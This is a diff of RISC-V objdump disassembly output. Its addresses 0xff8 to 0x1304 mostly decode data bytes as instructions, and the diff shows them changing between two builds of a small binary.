+     ff8:	f605                	bnez	a2,f20 <__stack_size+0x720>
+     ffa:	2d04                	fld	fs1,24(a0)
+     ffc:	0005                	c.nop	1
      ffe:	0500                	addi	s0,sp,640
-    1000:	04f5                	addi	s1,s1,29
-    1002:	814c                	0x814c
+    1000:	8daf04f7          	0x8daf04f7
     1004:	0000                	unimp
-    1006:	f605                	bnez	a2,f2e <__stack_size+0x72e>
-    1008:	b704                	fsd	fs1,40(a4)
-    100a:	0005                	c.nop	1
+    1006:	f805                	bnez	s0,f36 <__stack_size+0x736>
+    1008:	6504                	flw	fs1,8(a0)
+    100a:	0045                	c.nop	17
     100c:	0500                	addi	s0,sp,640
-    100e:	8cfc04f7          	0x8cfc04f7
+    100e:	058d                	addi	a1,a1,3
+    1010:	2e30                	fld	fa2,88(a2)
     1012:	0000                	unimp
-    1014:	f805                	bnez	s0,f44 <__stack_size+0x744>
-    1016:	5d04                	lw	s1,56(a0)
-    1018:	0044                	addi	s1,sp,4
+    1014:	8e05                	sub	a2,a2,s1
+    1016:	3505                	jal	e36 <__stack_size+0x636>
+    1018:	002d                	c.nop	11
     101a:	0500                	addi	s0,sp,640
-    101c:	058d                	addi	a1,a1,3
-    101e:	00002d1b          	0x2d1b
-    1022:	8e05                	sub	a2,a2,s1
-    1024:	ce05                	beqz	a2,105c <__stack_size+0x85c>
-    1026:	0051                	c.nop	20
+    101c:	05a0                	addi	s0,sp,712
+    101e:	2039                	jal	102c <__stack_size+0x82c>
+    1020:	0000                	unimp
+    1022:	a605                	j	1342 <__stack_size+0xb42>
+    1024:	e905                	bnez	a0,1054 <__stack_size+0x854>
+    1026:	005d                	c.nop	23
     1028:	0500                	addi	s0,sp,640
-    102a:	05a0                	addi	s0,sp,712
-    102c:	00002003          	lw	zero,0(zero) # 0 <__stack_size-0x800>
-    1030:	a605                	j	1350 <__stack_size+0xb50>
-    1032:	e905                	bnez	a0,1062 <__stack_size+0x862>
-    1034:	005c                	addi	a5,sp,4
+    102a:	05a9                	addi	a1,a1,10
+    102c:	0000896f          	jal	s2,902c <__stack_size+0x882c>
+    1030:	ab05                	j	1560 <__stack_size+0xd60>
+    1032:	4405                	li	s0,1
+    1034:	0050                	addi	a2,sp,4
     1036:	0500                	addi	s0,sp,640
-    1038:	05a9                	addi	a1,a1,10
-    103a:	88cc                	0x88cc
+    1038:	328505af          	0x328505af
     103c:	0000                	unimp
-    103e:	ab05                	j	156e <__stack_size+0xd6e>
-    1040:	4705                	li	a4,1
-    1042:	0500004f          	0x500004f
-    1046:	317a05af          	0x317a05af
+    103e:	b105                	j	c5e <__stack_size+0x45e>
+    1040:	3505                	jal	e60 <__stack_size+0x660>
+    1042:	0068                	addi	a0,sp,12
+    1044:	0500                	addi	s0,sp,640
+    1046:	05b5                	addi	a1,a1,13
+    1048:	5e50                	lw	a2,60(a2)
     104a:	0000                	unimp
-    104c:	b105                	j	c6c <__stack_size+0x46c>
-    104e:	5705                	li	a4,-31
-    1050:	0059                	c.nop	22
+    104c:	b805                	j	87c <__stack_size+0x7c>
+    104e:	d905                	beqz	a0,f7e <__stack_size+0x77e>
+    1050:	002e                	c.slli	zero,0xb
     1052:	0500                	addi	s0,sp,640
-    1054:	05b5                	addi	a1,a1,13
-    1056:	5d50                	lw	a2,60(a0)
+    1054:	05ba                	slli	a1,a1,0xe
+    1056:	30bc                	fld	fa5,96(s1)
     1058:	0000                	unimp
-    105a:	b805                	j	88a <__stack_size+0x8a>
-    105c:	e505                	bnez	a0,1084 <__stack_size+0x884>
-    105e:	002d                	c.nop	11
+    105a:	be05                	j	b8a <__stack_size+0x38a>
+    105c:	6405                	lui	s0,0x1
+    105e:	001c                	0x1c
     1060:	0500                	addi	s0,sp,640
-    1062:	05ba                	slli	a1,a1,0xe
-    1064:	2fc8                	fld	fa0,152(a5)
-    1066:	0000                	unimp
-    1068:	be05                	j	b98 <__stack_size+0x398>
-    106a:	3605                	jal	b8a <__stack_size+0x38a>
-    106c:	001d                	c.nop	7
+    1062:	05c0                	addi	s0,sp,708
+    1064:	00007bd7          	0x7bd7
+    1068:	c205                	beqz	a2,1088 <__stack_size+0x888>
+    106a:	4f05                	li	t5,1
+    106c:	0012                	c.slli	zero,0x4
     106e:	0500                	addi	s0,sp,640
-    1070:	05c0                	addi	s0,sp,708
-    1072:	7b5e                	flw	fs6,244(sp)
+    1070:	05c6                	slli	a1,a1,0x11
+    1072:	0c75                	addi	s8,s8,29
     1074:	0000                	unimp
-    1076:	c205                	beqz	a2,1096 <__stack_size+0x896>
-    1078:	dd05                	beqz	a0,fb0 <__stack_size+0x7b0>
-    107a:	0012                	c.slli	zero,0x4
+    1076:	c905                	beqz	a0,10a6 <__stack_size+0x8a6>
+    1078:	7a05                	lui	s4,0xfffe1
+    107a:	0062                	c.slli	zero,0x18
     107c:	0500                	addi	s0,sp,640
-    107e:	05c6                	slli	a1,a1,0x11
-    1080:	0cd0                	addi	a2,sp,596
+    107e:	05ca                	slli	a1,a1,0x12
+    1080:	48cc                	lw	a1,20(s1)
     1082:	0000                	unimp
-    1084:	c905                	beqz	a0,10b4 <__stack_size+0x8b4>
-    1086:	7d05                	lui	s10,0xfffe1
-    1088:	0061                	c.nop	24
-    108a:	0500                	addi	s0,sp,640
-    108c:	05ca                	slli	a1,a1,0x12
-    108e:	000047af          	0x47af
-    1092:	0400                	addi	s0,sp,512
-    1094:	0000                	unimp
-    1096:	0905                	addi	s2,s2,1
-    1098:	8215                	srli	a2,a2,0x5
-    109a:	0000                	unimp
-    109c:	0a05                	addi	s4,s4,1
-    109e:	00005ebb          	0x5ebb
-    10a2:	0b05                	addi	s6,s6,1
-    10a4:	00005a83          	lhu	s5,0(zero) # 0 <__stack_size-0x800>
-    10a8:	0c05                	addi	s8,s8,1
-    10aa:	785d                	lui	a6,0xffff7
-    10ac:	0000                	unimp
-    10ae:	0d05                	addi	s10,s10,1
-    10b0:	6bb8                	flw	fa4,80(a5)
-    10b2:	0000                	unimp
-    10b4:	0e05                	addi	t3,t3,1
-    10b6:	7171                	addi	sp,sp,-176
-    10b8:	0000                	unimp
-    10ba:	0f05                	addi	t5,t5,1
-    10bc:	5e95                	li	t4,-27
-    10be:	0000                	unimp
-    10c0:	1005                	c.nop	-31
-    10c2:	11b5                	addi	gp,gp,-19
-    10c4:	0000                	unimp
-    10c6:	1105                	addi	sp,sp,-31
-    10c8:	97ed                	srai	a5,a5,0x3b
-    10ca:	0000                	unimp
-    10cc:	1205                	addi	tp,tp,-31
-    10ce:	9006                	c.add	zero,ra
-    10d0:	0000                	unimp
-    10d2:	1305                	addi	t1,t1,-31
-    10d4:	727f                	0x727f
-    10d6:	0000                	unimp
-    10d8:	1405                	addi	s0,s0,-31
-    10da:	4d7c                	lw	a5,92(a0)
-    10dc:	0000                	unimp
-    10de:	1505                	addi	a0,a0,-31
-    10e0:	00004b77          	0x4b77
-    10e4:	1605                	addi	a2,a2,-31
-    10e6:	1e6e                	slli	t3,t3,0x3b
-    10e8:	0000                	unimp
-    10ea:	1705                	addi	a4,a4,-31
-    10ec:	2422                	fld	fs0,8(sp)
-    10ee:	0000                	unimp
-    10f0:	1805                	addi	a6,a6,-31
-    10f2:	89a8                	0x89a8
-    10f4:	0000                	unimp
-    10f6:	1905                	addi	s2,s2,-31
-    10f8:	434c                	lw	a1,4(a4)
-    10fa:	0000                	unimp
-    10fc:	1e05                	addi	t3,t3,-31
-    10fe:	55e8                	lw	a0,108(a1)
-    1100:	0000                	unimp
-    1102:	1f05                	addi	t5,t5,-31
-    1104:	9629                	srai	a2,a2,0x2a
-    1106:	0000                	unimp
-    1108:	2005                	jal	1128 <__stack_size+0x928>
-    110a:	14ce                	slli	s1,s1,0x33
-    110c:	0000                	unimp
-    110e:	2105                	jal	152e <__stack_size+0xd2e>
-    1110:	4448                	lw	a0,12(s0)
-    1112:	0000                	unimp
-    1114:	2205                	jal	1234 <__stack_size+0xa34>
-    1116:	000014fb          	0x14fb
-    111a:	2905                	jal	154a <__stack_size+0xd4a>
-    111c:	4760                	lw	s0,76(a4)
-    111e:	0000                	unimp
-    1120:	3005                	jal	940 <__stack_size+0x140>
-    1122:	4968                	lw	a0,84(a0)
-    1124:	0000                	unimp
-    1126:	3105                	jal	d46 <__stack_size+0x546>
-    1128:	9e59                	0x9e59
-    112a:	0000                	unimp
-    112c:	3205                	jal	a4c <__stack_size+0x24c>
-    112e:	8d69                	and	a0,a0,a0
-    1130:	0000                	unimp
-    1132:	3305                	jal	e52 <__stack_size+0x652>
-    1134:	00009b13          	slli	s6,ra,0x0
-    1138:	3405                	jal	b58 <__stack_size+0x358>
-    113a:	34e0                	fld	fs0,232(s1)
-    113c:	0000                	unimp
-    113e:	3505                	jal	f5e <__stack_size+0x75e>
-    1140:	5645                	li	a2,-15
-    1142:	0000                	unimp
-    1144:	3605                	jal	c64 <__stack_size+0x464>
-    1146:	000076f3          	csrrci	a3,ustatus,0
-    114a:	3705                	jal	106a <__stack_size+0x86a>
-    114c:	93c6                	add	t2,t2,a7
-    114e:	0000                	unimp
-    1150:	3a05                	jal	a80 <__stack_size+0x280>
-    1152:	00001ca3          	sh	zero,25(zero) # 19 <__stack_size-0x7e7>
-    1156:	3b05                	jal	e86 <__stack_size+0x686>
-    1158:	359e                	fld	fa1,480(sp)
-    115a:	0000                	unimp
-    115c:	3f05                	jal	108c <__stack_size+0x88c>
-    115e:	25f9                	jal	182c <__stack_size+0x102c>
-    1160:	0000                	unimp
-    1162:	4005                	c.li	zero,1
-    1164:	3956                	fld	fs2,368(sp)
-    1166:	0000                	unimp
-    1168:	4105                	li	sp,1
-    116a:	81d8                	0x81d8
-    116c:	0000                	unimp
-    116e:	4205                	li	tp,1
-    1170:	9675                	srai	a2,a2,0x3d
-    1172:	0000                	unimp
-    1174:	4305                	li	t1,1
-    1176:	48ca                	lw	a7,144(sp)
-    1178:	0000                	unimp
-    117a:	4705                	li	a4,1
-    117c:	471d                	li	a4,7
-    117e:	0000                	unimp
-    1180:	5d05                	li	s10,-31
-    1182:	3a56                	fld	fs4,368(sp)
-    1184:	0000                	unimp
-    1186:	5e05                	li	t3,-31
-    1188:	5dae                	lw	s11,232(sp)
-    118a:	0000                	unimp
-    118c:	5f05                	li	t5,-31
-    118e:	6f56                	flw	ft10,84(sp)
-    1190:	0000                	unimp
-    1192:	6005                	c.lui	zero,0x1
-    1194:	676d                	lui	a4,0x1b
-    1196:	0000                	unimp
-    1198:	6105                	addi	sp,sp,32
-    119a:	8601                	c.srai64	a2
-    119c:	0000                	unimp
-    119e:	6205                	lui	tp,0x1
-    11a0:	0f7d                	addi	t5,t5,31
-    11a2:	0000                	unimp
-    11a4:	6805                	lui	a6,0x1
-    11a6:	7828                	flw	fa0,112(s0)
-    11a8:	0000                	unimp
-    11aa:	6905                	lui	s2,0x1
-    11ac:	51ee                	lw	gp,248(sp)
-    11ae:	0000                	unimp
-    11b0:	6a05                	lui	s4,0x1
-    11b2:	0e7e                	slli	t3,t3,0x1f
-    11b4:	0000                	unimp
-    11b6:	6b05                	lui	s6,0x1
-    11b8:	4415                	li	s0,5
-    11ba:	0000                	unimp
-    11bc:	6c05                	lui	s8,0x1
-    11be:	1c38                	addi	a4,sp,568
-    11c0:	0000                	unimp
-    11c2:	6d05                	lui	s10,0x1
-    11c4:	00007983          	0x7983
-    11c8:	7205                	lui	tp,0xfffe1
-    11ca:	93d4                	0x93d4
-    11cc:	0000                	unimp
-    11ce:	7305                	lui	t1,0xfffe1
-    11d0:	5d0e                	lw	s10,224(sp)
-    11d2:	0000                	unimp
-    11d4:	7405                	lui	s0,0xfffe1
-    11d6:	7d58                	flw	fa4,60(a0)
-    11d8:	0000                	unimp
-    11da:	7505                	lui	a0,0xfffe1
-    11dc:	0915                	addi	s2,s2,5
-    11de:	0000                	unimp
-    11e0:	7605                	lui	a2,0xfffe1
-    11e2:	00003c53          	fadd.s	fs8,ft0,ft0,rup
-    11e6:	7b05                	lui	s6,0xfffe1
-    11e8:	4cde                	lw	s9,212(sp)
-    11ea:	0000                	unimp
-    11ec:	7f05                	lui	t5,0xfffe1
-    11ee:	24bc                	fld	fa5,72(s1)
+    1084:	0400                	addi	s0,sp,512
+    1086:	0000                	unimp
+    1088:	0905                	addi	s2,s2,1
+    108a:	8298                	0x8298
+    108c:	0000                	unimp
+    108e:	0a05                	addi	s4,s4,1
+    1090:	00005fc7          	fmsub.s	ft11,ft0,ft0,ft0,unknown
+    1094:	0b05                	addi	s6,s6,1
+    1096:	5b9f 0000 0c05      	0xc0500005b9f
+    109c:	7905                	lui	s2,0xfffe1
+    109e:	0000                	unimp
+    10a0:	0d05                	addi	s10,s10,1
+    10a2:	4ba2                	lw	s7,8(sp)
+    10a4:	0000                	unimp
+    10a6:	0e05                	addi	t3,t3,1
+    10a8:	71f2                	flw	ft3,60(sp)
+    10aa:	0000                	unimp
+    10ac:	0f05                	addi	t5,t5,1
+    10ae:	5fa1                	li	t6,-24
+    10b0:	0000                	unimp
+    10b2:	1005                	c.nop	-31
+    10b4:	1149                	addi	sp,sp,-14
+    10b6:	0000                	unimp
+    10b8:	1105                	addi	sp,sp,-31
+    10ba:	9890                	0x9890
+    10bc:	0000                	unimp
+    10be:	1205                	addi	tp,tp,-31
+    10c0:	000090d3          	fadd.s	ft1,ft1,ft0,rtz
+    10c4:	1305                	addi	t1,t1,-31
+    10c6:	731a                	flw	ft6,164(sp)
+    10c8:	0000                	unimp
+    10ca:	1405                	addi	s0,s0,-31
+    10cc:	4e79                	li	t3,30
+    10ce:	0000                	unimp
+    10d0:	1505                	addi	a0,a0,-31
+    10d2:	4cb6                	lw	s9,76(sp)
+    10d4:	0000                	unimp
+    10d6:	1605                	addi	a2,a2,-31
+    10d8:	1ea4                	addi	s1,sp,888
+    10da:	0000                	unimp
+    10dc:	1705                	addi	a4,a4,-31
+    10de:	000024db          	0x24db
+    10e2:	1805                	addi	a6,a6,-31
+    10e4:	00008a4b          	fnmsub.s	fs4,ft1,ft0,ft0,rne
+    10e8:	1905                	addi	s2,s2,-31
+    10ea:	0000444b          	fnmsub.s	fs0,ft0,ft0,ft0,rmm
+    10ee:	1e05                	addi	t3,t3,-31
+    10f0:	5716                	lw	a4,100(sp)
+    10f2:	0000                	unimp
+    10f4:	1f05                	addi	t5,t5,-31
+    10f6:	96d8                	0x96d8
+    10f8:	0000                	unimp
+    10fa:	2005                	jal	111a <__stack_size+0x91a>
+    10fc:	1435                	addi	s0,s0,-19
+    10fe:	0000                	unimp
+    1100:	2105                	jal	1520 <__stack_size+0xd20>
+    1102:	4550                	lw	a2,12(a0)
+    1104:	0000                	unimp
+    1106:	2205                	jal	1226 <__stack_size+0xa26>
+    1108:	1462                	slli	s0,s0,0x38
+    110a:	0000                	unimp
+    110c:	2905                	jal	153c <__stack_size+0xd3c>
+    110e:	4875                	li	a6,29
+    1110:	0000                	unimp
+    1112:	3005                	jal	932 <__stack_size+0x132>
+    1114:	00004aa7          	fsq	ft0,21(zero) # 15 <__stack_size-0x7eb>
+    1118:	3105                	jal	d38 <__stack_size+0x538>
+    111a:	00009ebb          	0x9ebb
+    111e:	3205                	jal	a3e <__stack_size+0x23e>
+    1120:	8e1c                	0x8e1c
+    1122:	0000                	unimp
+    1124:	3305                	jal	e44 <__stack_size+0x644>
+    1126:	9b90                	0x9b90
+    1128:	0000                	unimp
+    112a:	3405                	jal	b4a <__stack_size+0x34a>
+    112c:	35bc                	fld	fa5,104(a1)
+    112e:	0000                	unimp
+    1130:	3505                	jal	f50 <__stack_size+0x750>
+    1132:	5786                	lw	a5,96(sp)
+    1134:	0000                	unimp
+    1136:	3605                	jal	c56 <__stack_size+0x456>
+    1138:	0000779b          	0x779b
+    113c:	3705                	jal	105c <__stack_size+0x85c>
+    113e:	9460                	0x9460
+    1140:	0000                	unimp
+    1142:	3a05                	jal	a72 <__stack_size+0x272>
+    1144:	1bd1                	addi	s7,s7,-12
+    1146:	0000                	unimp
+    1148:	3b05                	jal	e78 <__stack_size+0x678>
+    114a:	366a                	fld	fa2,184(sp)
+    114c:	0000                	unimp
+    114e:	3f05                	jal	107e <__stack_size+0x87e>
+    1150:	26bd                	jal	14be <__stack_size+0xcbe>
+    1152:	0000                	unimp
+    1154:	4005                	c.li	zero,1
+    1156:	3a49                	jal	ae8 <__stack_size+0x2e8>
+    1158:	0000                	unimp
+    115a:	4105                	li	sp,1
+    115c:	0000825b          	0x825b
+    1160:	4205                	li	tp,1
+    1162:	9724                	0x9724
+    1164:	0000                	unimp
+    1166:	4305                	li	t1,1
+    1168:	000049e7          	0x49e7
+    116c:	4705                	li	a4,1
+    116e:	483a                	lw	a6,140(sp)
+    1170:	0000                	unimp
+    1172:	5d05                	li	s10,-31
+    1174:	3b6c                	fld	fa1,240(a4)
+    1176:	0000                	unimp
+    1178:	5e05                	li	t3,-31
+    117a:	5eae                	lw	t4,232(sp)
+    117c:	0000                	unimp
+    117e:	5f05                	li	t5,-31
+    1180:	00006fef          	jal	t6,7180 <__stack_size+0x6980>
+    1184:	6005                	c.lui	zero,0x1
+    1186:	67dd                	lui	a5,0x17
+    1188:	0000                	unimp
+    118a:	6105                	addi	sp,sp,32
+    118c:	86a4                	0x86a4
+    118e:	0000                	unimp
+    1190:	6205                	lui	tp,0x1
+    1192:	0f35                	addi	t5,t5,13
+    1194:	0000                	unimp
+    1196:	6805                	lui	a6,0x1
+    1198:	3722                	fld	fa4,40(sp)
+    119a:	0000                	unimp
+    119c:	6905                	lui	s2,0x1
+    119e:	5310                	lw	a2,32(a4)
+    11a0:	0000                	unimp
+    11a2:	6a05                	lui	s4,0x1
+    11a4:	00008697          	auipc	a3,0x8
+    11a8:	6b05                	lui	s6,0x1
+    11aa:	451d                	li	a0,7
+    11ac:	0000                	unimp
+    11ae:	6c05                	lui	s8,0x1
+    11b0:	1b71                	addi	s6,s6,-4
+    11b2:	0000                	unimp
+    11b4:	6d05                	lui	s10,0x1
+    11b6:	79fc                	flw	fa5,116(a1)
+    11b8:	0000                	unimp
+    11ba:	7205                	lui	tp,0xfffe1
+    11bc:	946e                	add	s0,s0,s11
+    11be:	0000                	unimp
+    11c0:	7305                	lui	t1,0xfffe1
+    11c2:	5e0e                	lw	t3,224(sp)
+    11c4:	0000                	unimp
+    11c6:	7405                	lui	s0,0xfffe1
+    11c8:	00007ddb          	0x7ddb
+    11cc:	7505                	lui	a0,0xfffe1
+    11ce:	08c1                	addi	a7,a7,16
+    11d0:	0000                	unimp
+    11d2:	7605                	lui	a2,0xfffe1
+    11d4:	3d75                	jal	1090 <__stack_size+0x890>
+    11d6:	0000                	unimp
+    11d8:	7b05                	lui	s6,0xfffe1
+    11da:	4df1                	li	s11,28
+    11dc:	0000                	unimp
+    11de:	7f05                	lui	t5,0xfffe1
+    11e0:	2575                	jal	188c <__stack_size+0x108c>
+    11e2:	0000                	unimp
+    11e4:	8205                	srli	a2,a2,0x1
+    11e6:	ee01                	bnez	a2,11fe <__stack_size+0x9fe>
+    11e8:	0070                	addi	a2,sp,12
+    11ea:	0500                	addi	s0,sp,640
+    11ec:	661a0183          	lb	gp,1633(s4) # 1661 <__stack_size+0xe61>
     11f0:	0000                	unimp
-    11f2:	8205                	srli	a2,a2,0x1
-    11f4:	6d01                	0x6d01
-    11f6:	0070                	addi	a2,sp,12
+    11f2:	8405                	srai	s0,s0,0x1
+    11f4:	9d01                	0x9d01
+    11f6:	0036                	c.slli	zero,0xd
     11f8:	0500                	addi	s0,sp,640
-    11fa:	658c0183          	lb	gp,1624(s8) # 1658 <__stack_size+0xe58>
+    11fa:	0185                	addi	gp,gp,1
+    11fc:	1295                	addi	t0,t0,-27
     11fe:	0000                	unimp
-    1200:	8405                	srai	s0,s0,0x1
-    1202:	d101                	beqz	a0,1102 <__stack_size+0x902>
-    1204:	0035                	c.nop	13
+    1200:	8605                	srai	a2,a2,0x1
+    1202:	bb01                	j	f12 <__stack_size+0x712>
+    1204:	0011                	c.nop	4
     1206:	0500                	addi	s0,sp,640
-    1208:	0185                	addi	gp,gp,1
-    120a:	00001323          	sh	zero,6(zero) # 6 <__stack_size-0x7fa>
-    120e:	8605                	srai	a2,a2,0x1
-    1210:	2701                	jal	1910 <__stack_size+0x1110>
-    1212:	0012                	c.slli	zero,0x4
-    1214:	0500                	addi	s0,sp,640
-    1216:	0188                	addi	a0,sp,192
-    1218:	00002a73          	csrr	s4,ustatus
-    121c:	8905                	andi	a0,a0,1
-    121e:	fa01                	bnez	a2,112e <__stack_size+0x92e>
-    1220:	0042                	c.slli	zero,0x10
+    1208:	0188                	addi	a0,sp,192
+    120a:	2b3e                	fld	fs6,456(sp)
+    120c:	0000                	unimp
+    120e:	8905                	andi	a0,a0,1
+    1210:	f901                	bnez	a0,1120 <__stack_size+0x920>
+    1212:	05000043          	0x5000043
+    1216:	947b018b          	0x947b018b
+    121a:	0000                	unimp
+    121c:	8c05                	sub	s0,s0,s1
+    121e:	1201                	addi	tp,tp,-32
+    1220:	0094                	addi	a3,sp,64
     1222:	0500                	addi	s0,sp,640
-    1224:	021f018b          	0x21f018b
-    1228:	0000                	unimp
-    122a:	8c05                	sub	s0,s0,s1
-    122c:	7801                	lui	a6,0xfffe0
-    122e:	05000093          	li	ra,80
-    1232:	018d                	addi	gp,gp,3
-    1234:	000059f7          	0x59f7
-    1238:	8f05                	sub	a4,a4,s1
-    123a:	0f01                	addi	t5,t5,0
-    123c:	002d                	c.nop	11
+    1224:	018d                	addi	gp,gp,3
+    1226:	00005b13          	srli	s6,zero,0x0
+    122a:	8f05                	sub	a4,a4,s1
+    122c:	2401                	jal	142c <__stack_size+0xc2c>
+    122e:	002e                	c.slli	zero,0xb
+    1230:	0500                	addi	s0,sp,640
+    1232:	0190                	addi	a2,sp,192
+    1234:	a172                	fsd	ft8,128(sp)
+    1236:	0000                	unimp
+    1238:	9105                	srli	a0,a0,0x21
+    123a:	9c01                	0x9c01
+    123c:	0042                	c.slli	zero,0x10
     123e:	0500                	addi	s0,sp,640
-    1240:	0190                	addi	a2,sp,192
-    1242:	a159                	j	16c8 <__stack_size+0xec8>
+    1240:	0192                	slli	gp,gp,0x4
+    1242:	9ec6                	add	t4,t4,a7
     1244:	0000                	unimp
-    1246:	9105                	srli	a0,a0,0x21
-    1248:	9d01                	0x9d01
-    124a:	0041                	c.nop	16
-    124c:	0500                	addi	s0,sp,640
-    124e:	0192                	slli	gp,gp,0x4
-    1250:	9e64                	0x9e64
+    1246:	9505                	srai	a0,a0,0x21
+    1248:	2701                	jal	1948 <__stack_size+0x1148>
+    124a:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    124e:	0199                	addi	gp,gp,6
+    1250:	8879                	andi	s0,s0,30
     1252:	0000                	unimp
-    1254:	9505                	srai	a0,a0,0x21
-    1256:	9a01                	andi	a2,a2,-32
-    1258:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    125c:	0199                	addi	gp,gp,6
-    125e:	87d6                	mv	a5,s5
+    1254:	9a05                	andi	a2,a2,-31
+    1256:	6e01                	0x6e01
+    1258:	004c                	addi	a1,sp,4
+    125a:	0500                	addi	s0,sp,640
+    125c:	6ab1019b          	0x6ab1019b
     1260:	0000                	unimp
-    1262:	9a05                	andi	a2,a2,-31
-    1264:	2701                	jal	1964 <__stack_size+0x1164>
-    1266:	0500004b          	0x500004b
-    126a:	6a0f019b          	0x6a0f019b
+    1262:	9d05                	0x9d05
+    1264:	9501                	srai	a0,a0,0x20
+    1266:	007e                	c.slli	zero,0x1f
+    1268:	0500                	addi	s0,sp,640
+    126a:	01a2                	slli	gp,gp,0x8
+    126c:	5501                	li	a0,-32
     126e:	0000                	unimp
-    1270:	9d05                	0x9d05
-    1272:	1201                	addi	tp,tp,-32
-    1274:	007e                	c.slli	zero,0x1f
+    1270:	a505                	j	1890 <__stack_size+0x1090>
+    1272:	4901                	li	s2,0
+    1274:	0076                	c.slli	zero,0x1d
     1276:	0500                	addi	s0,sp,640
-    1278:	01a2                	slli	gp,gp,0x8
-    127a:	53aa                	lw	t2,168(sp)
+    1278:	01a6                	slli	gp,gp,0x9
+    127a:	11e8                	addi	a0,sp,236
     127c:	0000                	unimp
-    127e:	a505                	j	189e <__stack_size+0x109e>
-    1280:	bc01                	j	c90 <__stack_size+0x490>
-    1282:	0075                	c.nop	29
+    127e:	a705                	j	199e <__stack_size+0x119e>
+    1280:	9201                	srli	a2,a2,0x20
+    1282:	0016                	c.slli	zero,0x5
     1284:	0500                	addi	s0,sp,640
-    1286:	01a6                	slli	gp,gp,0x9
-    1288:	125c                	addi	a5,sp,292
+    1286:	01a8                	addi	a0,sp,200
+    1288:	1055                	c.nop	-11
     128a:	0000                	unimp
-    128c:	a705                	j	19ac <__stack_size+0x11ac>
-    128e:	4301                	li	t1,0
-    1290:	05000017          	auipc	zero,0x5000
-    1294:	01a8                	addi	a0,sp,200
-    1296:	10a0                	addi	s0,sp,104
+    128c:	b005                	j	aac <__stack_size+0x2ac>
+    128e:	5701                	li	a4,-32
+    1290:	001c                	0x1c
+    1292:	0500                	addi	s0,sp,640
+    1294:	01b1                	addi	gp,gp,12
+    1296:	70ca                	flw	ft1,176(sp)
     1298:	0000                	unimp
-    129a:	b005                	j	aba <__stack_size+0x2ba>
-    129c:	2901                	jal	16ac <__stack_size+0xeac>
-    129e:	001d                	c.nop	7
+    129a:	b205                	j	bba <__stack_size+0x3ba>
+    129c:	4301                	li	t1,0
+    129e:	0034                	addi	a3,sp,8
     12a0:	0500                	addi	s0,sp,640
-    12a2:	01b1                	addi	gp,gp,12
-    12a4:	7049                	c.lui	zero,0xffff2
+    12a2:	3d2601b3          	0x3d2601b3
     12a6:	0000                	unimp
-    12a8:	b205                	j	bc8 <__stack_size+0x3c8>
-    12aa:	6301                	0x6301
-    12ac:	05000033          	0x5000033
-    12b0:	3c1901b3          	0x3c1901b3
-    12b4:	0000                	unimp
-    12b6:	0400                	addi	s0,sp,512
-    12b8:	0000                	unimp
-    12ba:	2805                	jal	12ea <__stack_size+0xaea>
-    12bc:	3576                	fld	fa0,376(sp)
-    12be:	0000                	unimp
-    12c0:	2c05                	jal	14f0 <__stack_size+0xcf0>
-    12c2:	3a48                	fld	fa0,176(a2)
-    12c4:	0000                	unimp
-    12c6:	0400                	addi	s0,sp,512
-    12c8:	0000                	unimp
-    12ca:	1405                	addi	s0,s0,-31
-    12cc:	00005303          	lhu	t1,0(zero) # 0 <__stack_size-0x800>
-    12d0:	1605                	addi	a2,a2,-31
-    12d2:	3ae9                	jal	cac <__stack_size+0x4ac>
-    12d4:	0000                	unimp
-    12d6:	1705                	addi	a4,a4,-31
-    12d8:	07c1                	addi	a5,a5,16
-    12da:	0000                	unimp
-    12dc:	0400                	addi	s0,sp,512
+    12a8:	0400                	addi	s0,sp,512
+    12aa:	0000                	unimp
+    12ac:	2805                	jal	12dc <__stack_size+0xadc>
+    12ae:	3652                	fld	fa2,304(sp)
+    12b0:	0000                	unimp
+    12b2:	2c05                	jal	14e2 <__stack_size+0xce2>
+    12b4:	3b5e                	fld	fs6,496(sp)
+    12b6:	0000                	unimp
+    12b8:	0400                	addi	s0,sp,512
+    12ba:	0000                	unimp
+    12bc:	1405                	addi	s0,s0,-31
+    12be:	545a                	lw	s0,180(sp)
+    12c0:	0000                	unimp
+    12c2:	1605                	addi	a2,a2,-31
+    12c4:	3bff                	0x3bff
+    12c6:	0000                	unimp
+    12c8:	1705                	addi	a4,a4,-31
+    12ca:	00000777          	0x777
+    12ce:	0400                	addi	s0,sp,512
+    12d0:	0000                	unimp
+    12d2:	9b06                	add	s6,s6,ra
+    12d4:	8701                	c.srai64	a4
+    12d6:	0060                	addi	s0,sp,12
+    12d8:	0600                	addi	s0,sp,768
+    12da:	3d1001e7          	jalr	gp,977(zero) # 0 <__stack_size-0x800>
     12de:	0000                	unimp
-    12e0:	9b06                	add	s6,s6,ra
-    12e2:	7b01                	lui	s6,0xfffe0
-    12e4:	005f 0600 01e7      	0x1e70600005f
-    12ea:	00003c03          	0x3c03
-    12ee:	d406                	sw	ra,40(sp)
-    12f0:	ef02                	fsw	ft0,156(sp)
-    12f2:	0072                	c.slli	zero,0x1c
-    12f4:	0500                	addi	s0,sp,640
-    12f6:	02d9                	addi	t0,t0,22
-    12f8:	036a                	slli	t1,t1,0x1a
+    12e0:	d406                	sw	ra,40(sp)
+    12e2:	8a02                	jr	s4
+    12e4:	05000073          	0x5000073
+    12e8:	02d9                	addi	t0,t0,22
+    12ea:	000002f7          	0x2f7
+    12ee:	e006                	fsw	ft1,0(sp)
+    12f0:	b802                	fsd	ft0,48(sp)
+    12f2:	0045                	c.nop	17
+    12f4:	0600                	addi	s0,sp,768
+    12f6:	0386                	slli	t2,t2,0x1
+    12f8:	527a                	lw	tp,188(sp)
     12fa:	0000                	unimp
-    12fc:	e006                	fsw	ft1,0(sp)
-    12fe:	b002                	fsd	ft0,32(sp)
-    1300:	0044                	addi	s1,sp,4
+    12fc:	8b05                	andi	a4,a4,1
+    12fe:	00713503          	0x713503
     1302:	0600                	addi	s0,sp,768
-    1304:	0386                	slli	t2,t2,0x1
-    1306:	5138                	lw	a4,96(a0)
-    1308:	0000                	unimp
-    130a:	8b05                	andi	a4,a4,1
-    130c:	0070b403          	0x70b403
-    1310:	0600                	addi	s0,sp,768
-    1312:	0391                	addi	t2,t2,4
-    1314:	5131                	li	sp,-20
-    1316:	0000                	unimp
-    1318:	9605                	srai	a2,a2,0x21
-    131a:	00513d03          	0x513d03
-    131e:	0000                	unimp
-    1320:	0004                	0x4
-    1322:	0600                	addi	s0,sp,768
-    1324:	b87f                	0xb87f
-    1326:	007d                	c.nop	31
+    1304:	0391                	addi	t2,t2,4
